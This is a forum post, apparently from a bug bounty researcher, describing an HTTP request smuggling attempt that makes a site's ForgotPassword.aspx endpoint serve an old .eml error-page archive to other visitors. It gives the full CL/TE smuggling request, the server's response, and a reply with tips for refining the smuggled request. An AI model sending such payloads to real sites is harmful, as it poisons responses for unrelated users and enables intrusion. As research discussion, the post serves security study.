HTTP Request Smuggling Question

After reading up a little bit on HTTP Request Smuggling, I decided to try it for a bug bounty site I was working on. I found some weird behavior that I’ve never seen before. The response from my smuggle is an RFC 822 message. It looks like I can poison the /ForgotPassword.aspx endpoint by putting a random parameter. Example: /ForgotPassword.aspx?notreal=123456. Anyone that visits that endpoint will just have a .eml file download, which is the RFC 822 message I was mentioning. It’s just a random message from November 2015. In the message, unfortunately, there is nothing sensitive. There are a few .js files, but I already found those before-hand and there’s nothing there. Is there a way that I can manipulate this further? It seems that anything I try, either the server times out or it just consistently presents me with that RFC 822 message. Here is an example of the request and RFC 822 response:

“RFC 822” mention count:

  • 5

Request:

POST /ForgotPassword.aspx?notreal=123456 HTTP/1.1
 Transfer-Encoding: chunked
Host: sumwebsite.com
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Cache-Control: max-age=0
Referer: https://sumwebsite.com/ForgotPassword.aspx
Content-Type: application/x-www-form-urlencoded
Cookie: sumcookie=sumvalue
Content-Length: 721
Connection: keep-alive

283
dy5t1=x&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%sumvalue&__VIEWSTATEGENERATOR=sumvalue&__EVENTVALIDATION=sumvalue&txtEmail=a@b.com&btnReturnLogin=Return+to+Login

GET /randomstring HTTP/1.1
X-Ignore: X

Response (RFC 822 message):

HTTP/1.1 200 OK
Content-Type: message/rfc822
Last-Modified: Tue, 03 Nov 2015 23:38:21 GMT
Accept-Ranges: bytes
ETag: "4d881b99016d11:0"
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
X-Frame-Options: SAMEORIGIN
Date: Fri, 10 Jan 2020 03:17:04 GMT
Content-Length: 8875

From: "Saved by Internet Explorer 11"
Subject: Login
Date: Tue, 3 Nov 2015 17:38:21 -0600
MIME-Version: 1.0
Content-Type: multipart/related;
type="text/html";
boundary="----=_NextPart_000_0000_01D1165E.6EE6C750"
X-MimeOLE: Produced By Microsoft MimeOLE V6.1.7601.17609

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01D1165E.6EE6C750
Content-Type: text/html;
charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Location: http://localhost:1626/Error.aspx

=EF=BB=BF<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" =
""><HTML><HEAD><META=20
content=3D"IE=3D5.0000" http-equiv=3D"X-UA-Compatible">
<TITLE>Login</TITLE> =20
<META http-equiv=3D"Content-Type" content=3D"text/html; =
charset=3Dutf-8">
<META name=3D"GENERATOR" content=3D"MSHTML 11.00.9600.18015"> =20
<META name=3D"CODE_LANGUAGE" content=3D"C#"> =20
<META name=3D"vs_defaultClientScript" content=3D"JavaScript"> =20
<META name=3D"vs_targetSchema" =
content=3D"http://schemas.microsoft.com/intellisense/ie5">
<LINK id=3D"linkStyle" href=3D"http://localhost:1626/StyleSheet.css" =
rel=3D"stylesheet"=20
type=3D"text/css"> =20
<SCRIPT language=3D"javascript" =
src=3D"http://localhost:1626/JavaScriptFunctions.js" =
type=3D"text/javascript"></SCRIPT>
</HEAD>=20
<BODY>
<TABLE width=3D"775" border=3D"0" cellspacing=3D"0" cellpadding=3D"0">
  <TBODY>
  <TR>
    <TD>&nbsp;</TD>
    <TD valign=3D"top"><IMG name=3D"Image55" width=3D"283" height=3D"68" =
src=3D"http://localhost:1626/Images/logo_un.gif"></TD></TR></TBODY></TABL=
E>
<P>        Ooops!!! Please contact your administrator.</P></BODY></HTML>

------=_NextPart_000_0000_01D1165E.6EE6C750
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-Location: http://localhost:1626/Images/logo_un.gif

R0lGODlhGwFEADAAACwAAAAAGwFEAIcAAAAAADMAAGYAAJkAAMwAAP8AKwAAKzMAK2YAK5kAK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/KaKlAS+aByR0oeTVh3InCQV62wq5eNIEAMkmGKGBjDlFLp
iaYSuc4YHMwmpsgHaHbKjgx26yL63CZk551NDvB3pkcCTY7EoJVuz0ucR9ImUy21cG8QI5/i7CMN
msCBZHCQHWK8IboPiG5pjWAE7gBKnMIj/3B24WJj5ggoDSmeZogj/CtaKfDG+BEDhnR7l5eadJoS
ge8+xpDjTBADDXJEQxqUgb8c3wVlNoZw1LKzDI8Kt2svY4oD6oGG26BwIg4YLBw605kgT1cikuqs
kpESk32UjTkvM6omxoBmo1KZtWLIhIvci+Aw7yjKYM5Em1523n34IMWLIsY/AzAJPkmGyzjeBzEm
1+VuIQcN52JOqQXEFOakgRLTBLXOHmCEHf03GkAg7KKXYjOJcEq4PBbQ5Ng8Ed7gaB85EEOPlIEG
4kgwwmPY7Y3bhAMy63gfCP6dRyXjZtYyxc2/03QOXoZJTZyLx8+WwXcOQJpeoxtNbJZYGtS4YwEj
qMG0mjAtsWU94GX/hCP/haxEQPSql05ksGmiCB8xbi0vRm2k+HV01EhTj4xrDbMgKjlr9+G9R+4J
FAEOMnSBYIRQ5BfJhXU4SQDA8577vOdEQRFo27ZfHDzAvxiBgyb+OfSmO32uoBj4ZkRj2tPCQR84
f7rWt96WNLzBUov6jj6IkWium/3sZ1FGDn7wdT3BIdZoj7vcsSLYTJi5tXPPu973zve++/3vgA+8
4AdP+MIb/vCIT7ziF8/4xjv+8ZCPvOQnT/nKW/7ymM+85isSEAA7

------=_NextPart_000_0000_01D1165E.6EE6C750
Content-Type: text/css;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Location: http://localhost:1626/StyleSheet.css

body {
=09
}
.menuLink {
color: rgb(0, 0, 0); font-family: Arial; font-size: 10pt;
}
.menuLink:active {
color: rgb(0, 0, 0); font-family: Arial; font-size: 10pt;
}
.menuLink:visited {
color: rgb(0, 0, 0); font-family: Arial; font-size: 10pt;
}
.menuLink:hover {
color: navy; font-family: Arial; font-size: 10pt;
}
.standardLink {
color: blue; font-family: Arial; font-size: 10pt;
}
.standardLink:active {
color: blue; font-family: Arial; font-size: 10pt;
}
.standardLink:visited {
color: blue; font-family: Arial; font-size: 10pt;
}
.standardLink:hover {
color: navy; font-family: Arial; font-size: 10pt;
}
h2 {
color: rgb(0, 0, 0); font-family: Arial; font-size: 18pt;
}
h3 {
color: rgb(0, 0, 0); font-family: Arial; font-size: 12pt;
}
td {
color: rgb(0, 0, 0); font-family: Arial; font-size: 10pt; margin-left: =
40px;
}
.HeaderText {
color: rgb(0, 0, 0); font-family: Arial; font-size: 12pt; font-weight: =
bold; background-color: rgb(200, 200, 200);
}
.HeaderTextSmall {
color: rgb(0, 0, 0); font-family: Arial; font-size: 11pt; font-weight: =
bold;
}
.MenuHeaderText {
color: rgb(0, 0, 0); font-family: Arial; font-size: 12pt; font-weight: =
bold;
}
.LoginHeaderText {
color: rgb(0, 0, 0); font-family: Arial; font-size: 12pt; font-weight: =
bold;
}
.LoginText {
color: rgb(0, 0, 0); font-family: Arial; font-size: 12pt; font-weight: =
bold;
}

------=_NextPart_000_0000_01D1165E.6EE6C750
Content-Type: application/octet-stream
Content-Transfer-Encoding: 7bit
Content-Location: http://localhost:1626/JavaScriptFunctions.js

function SaveScroll()
{
document.all('txtXPos').value = window.document.body.scrollLeft;
document.all('txtYPos').value = window.document.body.scrollTop;
return;
}


function SetJSFocus()
{
var XPos = document.all('txtXPos').value;
var YPos = document.all('txtYPos').value;
window.document.body.scrollLeft = XPos;
window.document.body.scrollTop = YPos;
}

function DisableEnter()
{
//alert('Key hit');
if (window.event.keyCode == 13)
{
event.returnValue=false;
event.cancel = true;
//alert('Enter hit');
}
}

function CheckPhoneForSameNumber(oSrc, args)
{
args.IsValid = (args.Value != '111-111-1111' &&
args.Value != '222-222-2222' &&
args.Value != '333-333-3333' &&
args.Value != '444-444-4444' &&
args.Value != '555-555-5555' &&
args.Value != '666-666-6666' &&
args.Value != '777-777-7777' &&
args.Value != '888-888-8888' &&
args.Value != '999-999-9999' &&
args.Value != '000-000-0000');
}


------=_NextPart_000_0000_01D1165E.6EE6C750--

I haven’t played with request smuggling, but I think that HTTP/1.1 expects a Host header. Maybe add the Host header to GET /randomstring or use HTTP/1.0 or HTTP/0.9.
Also, do not forget about the new lines \r\n\r\n at the bottom of a GET request.

My suggestions are based in the message from the response Ooops!!! Please contact your administrator..